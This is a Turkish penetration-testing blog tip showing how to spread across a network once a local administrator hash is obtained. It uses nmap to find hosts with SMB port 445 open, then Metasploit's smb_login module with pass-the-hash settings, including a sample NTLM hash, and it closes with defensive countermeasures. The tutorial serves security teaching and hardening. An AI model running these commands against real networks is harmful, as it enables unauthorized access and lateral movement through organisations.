2 Ekim 2013 Çarşamba

İpucu: smb_login Modülü ile Yayılabilecek Makinelerin Belirlenmesi


smb_login Modülü ile Yayılabilecek Makinelerin Belirlenmesi

Amaç
  • Port taraması ile SMB (Server Message Block protokolü) dosya paylaşımını sağlayan TCP 445. portu açık olan makineler bulunacaktır.
  • Elde edilen bir yerel kullanıcı hesap bilgilerinin, organizasyondaki diğer makinelerde de yetkili olup olmadığı belirlenecektir.

Yöntem
Önceki adım ile elimizde sadece bir makinede yerel yönetici hesabı dahil olmak üzere yerel kullanıcı hesaplarına ait şifrenin özeti bulunmaktadır:

Hedef makinedeki kullanıcıların şifre özetlerinin listelenmesi

Bu özet halindeki şifreyi ve Administrator (yerel yönetici) kullanıcısı kullanarak, diğer makinelere de girilmeye ve böylece organizasyondaki diğer makinelere yayılım gerçekleşecektir. Yayılım işlemi; port taraması yapıldıktan sonra veya direk olarak zafiyetle ilgili modül kullanılarak gerçekleştirilebilir.
SMB dosya paylaşım portu (TCP/445) açık olan makinelerin bulunması nmap komutu ile (veya Zenmap kullanarak) gerçekleştirilebilir:
nmap –Pn –sT –p 445 192.168.172.0/24 --open
nmap komutu ile 445. portu açık olan makinelerin tespit edilmesi

Büyük bir ağda çok uzun bir sonuç gelebileceğinden sadece IP’lerin alınmasını isteyebiliriz. Bunun için düzenli ifadeler (regex) kullanılabilir:
nmap –Pn –sT –p 445 192.168.172.0/24 --open | grep -oE '.*((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])'
veya
nmap –Pn –sT –p 445 192.168.172.0/24 --open | grep –oE '[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}'
veya
nmap –Pn –sT –p 445 192.168.172.0/24 --open | grep –oE ‘[0-9]{1,3}[\.]'
nmap komutu ile 445. portu açık olan makinelerin listelenmesi

SMB dosya paylaşımı açık olan IP'ler bulunduktan sonra sadece bu makinelere sızılmaya çalışılabildiği gibi, tüm ağdaki makineler için de sızma işlemi denemesi yapılabilir.
Sızma işlemini deneyeceğimiz makinelerde, hashdump ile şifresinin özetini elde ettiğimiz yerel yönetici hesabı ile aynı şifreyi kullanan kullanıcılar araştırılır:
search smb_login
use auxiliary/scanner/smb/smb_login
show options
smb_login modülünün incelenmesi

Seçenekler uygun şekilde ayarlanır:
set BLANK_PASSWORDS false
set RHOST 192.168.172.0/24
set SMBPASS aad3b435b51404eeaad3b435b51404ee:da8aef7a322d9ecf8d1d7e220f837176
set SMBUSER administrator
set THREADS 15
set USER_AS_PASS false
smb_login modülünün düzenlenmesi

Exploit işlemi gerçekleştirilir:
exploit
SUCCESSFUL LOGIN sonucunu dönenler "administrator" kullanıcısına ait şifrenin özeti, elimizdeki özet değer ile aynı olan makinelerdir:
smb_login kontrolünde başarılı dönen sonuç örneği

Not: FAILED LOGIN sonucunu dönenler ise başarısız exploit denemeleridir:
smb_login kontrolünde başarısız dönen sonuç örneği

Not: smb_login modülü yerine hedef odaklı olarak smb_enumusers_domain modülü de kullanılabilir. Bu modülle ilgili ayrıntılı bilgi için bakınız:
http://ertugrulbasaranoglu.blogspot.com.tr/2013/11/ipucu-smbenumusersdomain-modulu-ile.html

Önlem

  • Ağ üzerinde kurallar tanımlayarak; belirlenen IP’lere, belirlenen portlardan kontrollü bir şekilde izin verilmelidir.
  • “administrator” gibi varsayılan yerel yönetici hesaplarının isminin değiştirilmelidir. Böylece yapılacak birçok saldırıda yerel yönetici hesabının isminin kolayca ve otomatik olarak bulunmasını zorlaştıracaktır.
  • Organizasyondaki makinelerde bulunan yerel kullanıcıların şifreleri farklı ayarlanmalıdır.
  • Yerel yönetici hesaplarının şifreleri,  şifre kırma saldırılarına karşı korumak amacıyla karmaşık seçilmelidir.
  • Kullanılmayan ve ihtiyaç duyulmayan yerel yönetici hesapları kaldırılmalı veya devre dışı bırakılmalıdır.


Hiç yorum yok:

Yorum Gönder